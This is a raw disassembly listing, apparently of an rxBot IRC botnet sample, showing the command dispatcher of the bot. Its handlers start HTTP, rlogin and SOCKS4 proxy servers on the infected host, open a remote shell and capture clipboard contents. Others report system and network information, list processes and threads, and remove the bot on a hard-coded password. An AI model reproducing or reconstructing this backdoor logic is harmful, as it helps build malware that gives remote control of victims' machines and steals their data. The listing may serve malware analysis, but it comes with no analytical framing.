		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_E88]
		push	80h
		push	eax
		mov	[ebp+var_E8C], esi
		call	sub_416B5D
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_AEC], eax
		lea	eax, [ebp+var_C00]
		push	eax
		push	[ebp+var_AFC]
		mov	[ebp+var_AF0], ebx
		push	esi
		call	sub_408852
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax
		call	sub_416905
		push	edi
		lea	eax, [ebp+var_2F0]
		push	4
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	[ebp+var_AF4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_E8C]
		push	eax
		push	offset sub_405549
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_AF4]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40E251
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"...
		jmp	loc_40C42A
; ---------------------------------------------------------------------------


loc_40E249:				; CODE XREF: sub_409806+4A51j
		push	32h
		call	dword_422000	; Sleep


loc_40E251:				; CODE XREF: sub_409806+4A30j
		cmp	[ebp+var_AE0], edi
		jz	short loc_40E249
		jmp	loc_40C439
; ---------------------------------------------------------------------------


loc_40E25E:				; CODE XREF: sub_409806+17B1j
					; sub_409806+17C5j
		mov	esi, [ebp+ebx+var_A0]
		test	esi, esi
		jz	short loc_40E27D
		push	esi
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jz	short loc_40E27D
		push	esi
		call	sub_416C92
		pop	ecx
		jmp	short loc_40E282
; ---------------------------------------------------------------------------


loc_40E27D:				; CODE XREF: sub_409806+4A61j
					; sub_409806+4A6Cj
		mov	eax, dword_42FCC4


loc_40E282:				; CODE XREF: sub_409806+4A75j
		mov	[ebp+var_8F8], eax
		mov	eax, [ebp+ebx+var_9C]
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_40E29B
		lea	eax, [ebp+var_F0]


loc_40E29B:				; CODE XREF: sub_409806+4A8Dj
		push	eax
		lea	eax, [ebp+var_A38]
		push	40h
		push	eax
		call	sub_416B5D
		mov	ebx, [ebp+ebx+var_98]
		add	esp, 0Ch
		cmp	ebx, edi
		jnz	short loc_40E2BD
		mov	ebx, 422B0Ah


loc_40E2BD:				; CODE XREF: sub_409806+4AB0j
		push	ebx
		lea	eax, [ebp+var_9F8]
		push	100h
		push	eax
		call	sub_416B5D
		push	[ebp+var_9C]
		lea	eax, [ebp+var_AB8]
		push	80h
		push	eax
		call	sub_416B5D
		mov	eax, [ebp+var_C]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_8E4], eax
		lea	eax, [ebp+var_A38]
		push	eax
		push	[ebp+var_8F8]
		mov	[ebp+var_ABC], esi
		push	esi
		mov	[ebp+var_8E8], ebx
		call	sub_408852
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"...
		push	eax
		call	sub_416905
		push	edi
		lea	eax, [ebp+var_2F0]
		push	7
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	[ebp+var_8F4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_ABC]
		push	eax
		push	offset sub_410B00
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_8F4]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40E38A
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"...
		jmp	loc_40C42A
; ---------------------------------------------------------------------------


loc_40E382:				; CODE XREF: sub_409806+4B8Aj
		push	32h
		call	dword_422000	; Sleep


loc_40E38A:				; CODE XREF: sub_409806+4B69j
		cmp	[ebp+var_8E0], edi
		jz	short loc_40E382
		jmp	loc_40C439
; ---------------------------------------------------------------------------


loc_40E397:				; CODE XREF: sub_409806+1789j
					; sub_409806+179Dj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40E3AA
		push	ebx
		call	sub_416C92
		jmp	short loc_40E3B1
; ---------------------------------------------------------------------------


loc_40E3AA:				; CODE XREF: sub_409806+4B9Aj
		push	9
		call	sub_4138C5


loc_40E3B1:				; CODE XREF: sub_409806+4BA2j
		test	eax, eax
		pop	ecx
		jz	loc_40F8C3
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4010CA
		jmp	loc_40E8A0
; ---------------------------------------------------------------------------


loc_40E3D1:				; CODE XREF: sub_409806+1761j
					; sub_409806+1775j
		mov	eax, dword_43A488
		test	eax, eax
		jz	short loc_40E3F4
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40E3ED
		push	offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache	flushed."
		jmp	short loc_40E415
; ---------------------------------------------------------------------------


loc_40E3ED:				; CODE XREF: sub_409806+4BDEj
		push	offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to	flush DNS cache."
		jmp	short loc_40E415
; ---------------------------------------------------------------------------


loc_40E3F4:				; CODE XREF: sub_409806+4BD2j
		push	offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to	load dnsapi.dll."
		lea	eax, [ebp+var_2F0]
		jmp	short loc_40E415
; ---------------------------------------------------------------------------


loc_40E401:				; CODE XREF: sub_409806+1739j
					; sub_409806+174Dj
		call	sub_408774
		test	eax, eax
		lea	eax, [ebp+var_2F0]
		jz	short loc_40E425
		push	offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache	flushed."


loc_40E415:				; CODE XREF: sub_409806+4BE5j
					; sub_409806+4BECj ...
		push	200h
		push	eax
		call	sub_416B5D
		jmp	loc_40ED23
; ---------------------------------------------------------------------------


loc_40E425:				; CODE XREF: sub_409806+4C08j
		push	offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to	flush ARP cache."
		jmp	short loc_40E415
; ---------------------------------------------------------------------------


loc_40E42C:				; CODE XREF: sub_409806+1711j
					; sub_409806+1725j
		cmp	[ebp+var_C], 0
		jnz	short loc_40E44D
		push	0
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h


loc_40E44D:				; CODE XREF: sub_409806+4C2Aj
		push	0
		push	[ebp+var_4]
		call	sub_4073B1
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		push	offset aMainGetClipboa ; "[MAIN]: Get Clipboard."
		jmp	loc_40E769
; ---------------------------------------------------------------------------


loc_40E470:				; CODE XREF: sub_409806+1382j
					; sub_409806+1396j
		push	8
		call	sub_4138A6
		test	eax, eax
		pop	ecx
		jle	short loc_40E486
		push	offset aCmdRemoteShell ; "[CMD]: Remote	shell already running."
		jmp	loc_40DA79
; ---------------------------------------------------------------------------


loc_40E486:				; CODE XREF: sub_409806+4C74j
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4106AD
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jnz	short loc_40E4A5
		push	offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell."
		jmp	loc_40DA79
; ---------------------------------------------------------------------------


loc_40E4A5:				; CODE XREF: sub_409806+4C93j
		push	offset aCmdRemoteShe_0 ; "[CMD]: Remote	shell ready."
		jmp	loc_40DA79
; ---------------------------------------------------------------------------


loc_40E4AF:				; CODE XREF: sub_409806+135Aj
					; sub_409806+136Ej
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_406E62
		jmp	loc_40E78A
; ---------------------------------------------------------------------------


loc_40E4C8:				; CODE XREF: sub_409806+1332j
					; sub_409806+1346j
		push	[ebp+ebx+var_A0]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_403440
		jmp	loc_40E78A
; ---------------------------------------------------------------------------


loc_40E4E5:				; CODE XREF: sub_409806+130Aj
					; sub_409806+131Ej
		or	esi, 0FFFFFFFFh
		call	dword_42201C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		mov	edi, eax
		jz	short loc_40E50D
		push	ebx
		call	sub_416C92
		pop	ecx
		mov	esi, eax


loc_40E50D:				; CODE XREF: sub_409806+4CFCj
		xor	edx, edx
		mov	eax, edi
		mov	ecx, 15180h
		div	ecx
		cmp	eax, esi
		jnb	short loc_40E525
		cmp	esi, 0FFFFFFFFh
		jnz	loc_40F8C3


loc_40E525:				; CODE XREF: sub_409806+4D14j
		push	0
		call	sub_41296D
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainUptimeS_ ; "[MAIN]:	Uptime:	%s."
		push	eax
		call	sub_416905
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD


loc_40E564:				; CODE XREF: sub_409806+27D3j
		add	esp, 28h
		jmp	loc_40F8C3
; ---------------------------------------------------------------------------


loc_40E56C:				; CODE XREF: sub_409806+12E2j
					; sub_409806+12F6j
		push	1Fh
		call	sub_4138A6
		test	eax, eax
		pop	ecx
		jle	short loc_40E5A2
		cmp	[ebp+var_C], 0
		jnz	loc_409A84
		push	0
		push	[ebp+var_4]
		push	offset aProcAlreadyRun ; "[PROC]: Already running."
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40E5A2:				; CODE XREF: sub_409806+4D70j
		push	[ebp+var_9C]
		lea	eax, [ebp+var_384]
		push	80h
		push	eax
		call	sub_416B5D
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+ebx+var_A0]
		and	[ebp+var_300], 0
		mov	[ebp+var_388], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2FC], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		test	ebx, ebx
		mov	[ebp+var_2F8], eax
		jz	short loc_40E603
		push	5
		mov	edi, ebx
		mov	esi, offset aFull ; "full"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40E603
		mov	[ebp+var_300], 1


loc_40E603:				; CODE XREF: sub_409806+4DE1j
					; sub_409806+4DF1j
		lea	eax, [ebp+var_2F0]
		push	offset aProcsProccessL ; "[PROCS]: Proccess list."
		push	eax
		call	sub_416905
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Fh
		push	eax
		call	sub_4136B6
		add	esp, 14h
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_388]
		push	eax
		push	offset sub_40901A
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_304]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40E685
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	loc_40D1AD
; ---------------------------------------------------------------------------


loc_40E67D:				; CODE XREF: sub_409806+4E85j
		push	32h
		call	dword_422000	; Sleep


loc_40E685:				; CODE XREF: sub_409806+4E55j
		cmp	[ebp+var_2F4], esi
		jz	short loc_40E67D
		jmp	loc_40D1AD
; ---------------------------------------------------------------------------


loc_40E692:				; CODE XREF: sub_409806+12BAj
					; sub_409806+12CEj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	loc_409A84
		mov	esi, ebx
		mov	eax, offset aN3m3s1s ; "n3m3s1s"


loc_40E6A8:				; CODE XREF: sub_409806+4EBEj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_40E6CA
		test	cl, cl
		jz	short loc_40E6C6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_40E6CA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40E6A8


loc_40E6C6:				; CODE XREF: sub_409806+4EACj
		xor	eax, eax
		jmp	short loc_40E6CF
; ---------------------------------------------------------------------------


loc_40E6CA:				; CODE XREF: sub_409806+4EA8j
					; sub_409806+4EB6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40E6CF:				; CODE XREF: sub_409806+4EC2j
		test	eax, eax
		jnz	loc_409A84
		cmp	[ebp+var_C], eax
		jnz	short loc_40E6F6
		push	eax
		push	[ebp+var_4]
		push	offset aMainRemovingBo ; "[MAIN]: Removing Bot."
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 14h


loc_40E6F6:				; CODE XREF: sub_409806+4ED4j
		push	[ebp+arg_4]
		call	dword_43A4B0	; closesocket
		call	dword_43A4BC	; WSACleanup
		call	sub_407534
		jmp	loc_40EE36
; ---------------------------------------------------------------------------


loc_40E70F:				; CODE XREF: sub_409806+1292j
					; sub_409806+12A6j
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_4]
		push	eax
		call	sub_412AEE
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		push	offset aMainSystemInfo ; "[MAIN]: System Info."
		jmp	short loc_40E769
; ---------------------------------------------------------------------------


loc_40E73B:				; CODE XREF: sub_409806+126Aj
					; sub_409806+127Ej
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_412D55
		add	esp, 0Ch
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		push	offset aMainNetworkInf ; "[MAIN]: Network Info."


loc_40E769:				; CODE XREF: sub_409806+4C65j
					; sub_409806+4F33j
		call	sub_401ECD


loc_40E76E:				; CODE XREF: sub_409806+36BDj
		add	esp, 18h
		jmp	loc_40F8C3
; ---------------------------------------------------------------------------


loc_40E776:				; CODE XREF: sub_409806+1242j
					; sub_409806+1256j
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401F6D


loc_40E78A:				; CODE XREF: sub_409806+1DFj
					; sub_409806+4CBDj ...
		add	esp, 10h
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40E792:				; CODE XREF: sub_409806+121Aj
					; sub_409806+122Ej
		and	[ebp+var_7D8], 0
		cmp	[ebp+var_14], 0
		jz	short loc_40E7D3
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40E7D3
		push	ebx
		push	[ebp+var_14]
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40E7D3
		push	eax
		push	offset aS_3	; "%s"
		lea	eax, [ebp+var_7D8]
		push	80h
		push	eax
		call	sub_416B5D
		add	esp, 10h


loc_40E7D3:				; CODE XREF: sub_409806+4F97j
					; sub_409806+4FA2j ...
		push	[ebp+var_9C]
		lea	eax, [ebp+var_858]
		push	80h
		push	eax
		call	sub_416B5D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_85C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_754], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_2F0]
		push	offset aLogListingLog_ ; "[LOG]: Listing log."
		push	eax
		call	sub_416905
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Dh
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	[ebp+var_758], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_85C]
		push	eax
		push	offset sub_401FDF
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_758]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40E878
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aLogFailedToSta ; "[LOG]: Failed	to start listing thread, "...
		jmp	loc_40FA7C
; ---------------------------------------------------------------------------


loc_40E870:				; CODE XREF: sub_409806+5078j
		push	32h
		call	dword_422000	; Sleep


loc_40E878:				; CODE XREF: sub_409806+5057j
		cmp	[ebp+var_74C], esi
		jz	short loc_40E870
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40E885:				; CODE XREF: sub_409806+11F2j
					; sub_409806+1206j
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_401E55
		push	offset aMainAliasList_ ; "[MAIN]: Alias	list."
		call	sub_401ECD


loc_40E8A0:				; CODE XREF: sub_409806+4BC6j
		add	esp, 10h
		jmp	loc_40F8C3
; ---------------------------------------------------------------------------


loc_40E8A8:				; CODE XREF: sub_409806+11CAj
					; sub_409806+11DEj
		push	[ebp+var_9C]
		lea	eax, [ebp+var_484]
		push	80h
		push	eax
		call	sub_416B5D
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+ebx+var_A0]
		mov	[ebp+var_488], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3FC], eax
		mov	eax, [ebp+var_C]
		add	esp, 0Ch
		test	ebx, ebx
		mov	[ebp+var_3F8], eax
		jz	short loc_40E901
		push	4
		xor	eax, eax
		mov	edi, offset aSub ; "sub"
		mov	esi, ebx
		pop	ecx
		repe cmpsb
		setz	al
		mov	[ebp+var_400], eax
		jmp	short loc_40E908
; ---------------------------------------------------------------------------


loc_40E901:				; CODE XREF: sub_409806+50E0j
		and	[ebp+var_400], 0


loc_40E908:				; CODE XREF: sub_409806+50F9j
		lea	eax, [ebp+var_2F0]
		push	offset aThreadsListThr ; "[THREADS]: List threads."
		push	eax
		call	sub_416905
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	20h
		push	eax
		call	sub_4136B6
		add	esp, 14h
		mov	[ebp+var_404], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_488]
		push	eax
		push	offset sub_4139B7
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_404]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40E97B
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"...
		jmp	loc_40D70B
; ---------------------------------------------------------------------------


loc_40E973:				; CODE XREF: sub_409806+517Bj
		push	32h
		call	dword_422000	; Sleep


loc_40E97B:				; CODE XREF: sub_409806+515Aj
		cmp	[ebp+var_3F4], esi
		jz	short loc_40E973
		jmp	loc_40AEF2
; ---------------------------------------------------------------------------


loc_40E988:				; CODE XREF: sub_409806+1150j
					; sub_409806+1164j
		push	offset aRxbot012 ; "Rxbot012"
		lea	eax, [ebp+var_2F0]
		push	offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s."
		push	eax
		call	sub_416905
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 20h
		jmp	loc_40AEF2
; ---------------------------------------------------------------------------


loc_40E9C0:				; CODE XREF: sub_409806+1128j
					; sub_409806+113Cj
		push	dword_480AB8
		call	sub_41296D
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s."
		push	eax
		call	sub_416905
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 24h
		jmp	loc_40AEF2
; ---------------------------------------------------------------------------


loc_40E9FF:				; CODE XREF: sub_409806+1100j
					; sub_409806+1114j
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40EA32
		cmp	[ebp+var_14], 0
		jz	short loc_40EA41
		push	ebx
		push	[ebp+var_14]
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40EA41
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		add	esp, 0Ch
		jmp	short loc_40EA41
; ---------------------------------------------------------------------------


loc_40EA32:				; CODE XREF: sub_409806+5202j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		pop	ecx
		pop	ecx


loc_40EA41:				; CODE XREF: sub_409806+5208j
					; sub_409806+5217j ...
		push	0FFFFFFFEh
		pop	eax
		jmp	loc_409A87
; ---------------------------------------------------------------------------


loc_40EA49:				; CODE XREF: sub_409806+10D8j
					; sub_409806+10ECj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	offset aMainDisconnect ; "[MAIN]: Disconnecting."
		call	sub_401ECD
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_409A87
; ---------------------------------------------------------------------------


loc_40EA6B:				; CODE XREF: sub_409806+10B0j
					; sub_409806+10C4j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		push	offset aMainReconnecti ; "[MAIN]: Reconnecting."
		call	sub_401ECD
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_409A87
; ---------------------------------------------------------------------------


loc_40EA8C:				; CODE XREF: sub_409806+1088j
					; sub_409806+109Cj
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	start


loc_40EA9D:				; CODE XREF: sub_409806+3624j
		add	esp, 0Ch
		jmp	loc_40F8C3
; ---------------------------------------------------------------------------


loc_40EAA5:				; CODE XREF: sub_409806+FE8j
					; sub_409806+FFCj
		push	[ebp+ebx+var_A0]
		push	1Fh
		push	offset aProcessList ; "Process list"
		push	offset aProc	; "[PROC]"
		jmp	short loc_40EACD
; ---------------------------------------------------------------------------


loc_40EABA:				; CODE XREF: sub_409806+FC0j
					; sub_409806+FD4j
		push	[ebp+ebx+var_A0]
		push	1Ch
		push	offset aFindFile ; "Find file"
		push	offset aFindfile_0 ; "[FINDFILE]"


loc_40EACD:				; CODE XREF: sub_409806+E45j
					; sub_409806+E6Dj ...
		push	[ebp+var_C]
		push	[ebp+var_4]
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_4138EC
		add	esp, 20h
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40EAE9:				; CODE XREF: sub_409806+E08j
					; sub_409806+E1Cj
		mov	esi, [ebp+ebx+var_A0]
		test	esi, esi
		jz	short loc_40EB08
		push	esi
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jz	short loc_40EB08
		push	esi
		call	sub_416C92
		pop	ecx
		jmp	short loc_40EB0D
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_409806+52ECj
					; sub_409806+52F7j
		mov	eax, dword_42FCB8


loc_40EB0D:				; CODE XREF: sub_409806+5300j
		mov	ebx, [ebp+ebx+var_9C]
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_40C], eax
		jz	short loc_40EB34
		push	ebx


loc_40EB21:				; CODE XREF: sub_409806+533Ej
		lea	eax, [ebp+var_41C]
		push	10h
		push	eax
		call	sub_416B5D
		add	esp, 0Ch
		jmp	short loc_40EB4D
; ---------------------------------------------------------------------------


loc_40EB34:				; CODE XREF: sub_409806+5318j
		cmp	[ebp+var_38F], 0
		jz	short loc_40EB46
		lea	eax, [ebp+var_F0]
		push	eax
		jmp	short loc_40EB21
; ---------------------------------------------------------------------------


loc_40EB46:				; CODE XREF: sub_409806+5335j
		and	[ebp+var_41C], 0


loc_40EB4D:				; CODE XREF: sub_409806+532Cj
		mov	eax, [ebp+var_4]
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_400], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_3FC], eax
		lea	eax, [ebp+var_49C]
		push	80h
		push	eax
		mov	[ebp+var_4A0], esi
		call	sub_416B5D
		add	esp, 0Ch
		push	[ebp+var_40C]
		push	esi
		call	sub_408852
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax
		call	sub_416905
		push	edi
		lea	eax, [ebp+var_2F0]
		push	12h
		push	eax
		call	sub_4136B6
		add	esp, 1Ch
		mov	[ebp+var_408], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_4A0]
		push	eax
		push	offset sub_412412
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_408]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40EC01
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"...
		jmp	loc_40FA7C
; ---------------------------------------------------------------------------


loc_40EBF9:				; CODE XREF: sub_409806+5401j
		push	32h
		call	dword_422000	; Sleep


loc_40EC01:				; CODE XREF: sub_409806+53E0j
		cmp	[ebp+var_3F8], edi
		jz	short loc_40EBF9
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_40EC0E:				; CODE XREF: sub_409806+DB8j
					; sub_409806+DCCj ...
		push	7
		mov	edi, eax
		mov	esi, offset aSecure ; "secure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	short loc_40EC36
		mov	edi, eax
		push	4
		mov	esi, offset aSec ; "sec"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40EC36
		and	[ebp+var_300], eax
		jmp	short loc_40EC40
; ---------------------------------------------------------------------------


loc_40EC36:				; CODE XREF: sub_409806+5416j
					; sub_409806+5426j
		mov	[ebp+var_300], 1


loc_40EC40:				; CODE XREF: sub_409806+542Ej
		push	[ebp+var_9C]
		lea	eax, [ebp+var_384]
		push	80h
		push	eax
		call	sub_416B5D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_388], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2FC], eax
		mov	eax, [ebp+var_C]
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_300], esi
		mov	[ebp+var_2F8], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40EC89
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40EC89:				; CODE XREF: sub_409806+547Cj
		push	eax
		push	offset aSecureSSystem_ ; "[SECURE]: %s system."
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_416B5D
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Ah
		push	eax
		call	sub_4136B6
		add	esp, 1Ch
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_388]
		push	eax
		push	offset sub_41190B
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_304]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40ED00
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"...
		jmp	loc_40C9D8
; ---------------------------------------------------------------------------


loc_40ECF8:				; CODE XREF: sub_409806+5500j
		push	32h
		call	dword_422000	; Sleep


loc_40ED00:				; CODE XREF: sub_409806+54DFj
		cmp	[ebp+var_2F4], esi
		jz	short loc_40ECF8
		jmp	loc_40EE11
; ---------------------------------------------------------------------------


loc_40ED0D:				; CODE XREF: sub_409806+D90j
					; sub_409806+DA4j
		push	offset aBot0_012 ; "[Bot 0.012]"
		push	offset aMainS	; "[MAIN]: %s"


loc_40ED17:				; CODE XREF: sub_409806+3D62j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905


loc_40ED23:				; CODE XREF: sub_409806+4C1Aj
		add	esp, 0Ch
		jmp	loc_40B921
; ---------------------------------------------------------------------------


loc_40ED2B:				; CODE XREF: sub_409806+D68j
					; sub_409806+D7Cj
		mov	ebx, [ebp+ebx+var_A0]
		test	ebx, ebx
		jz	short loc_40ED83
		push	ebx
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jl	short loc_40ED7B
		cmp	eax, 2
		jge	short loc_40ED7B
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	byte ptr [esi],	0
		jz	short loc_40ED73
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_416905
		add	esp, 0Ch
		and	byte ptr [esi],	0
		jmp	short loc_40EDEE
; ---------------------------------------------------------------------------


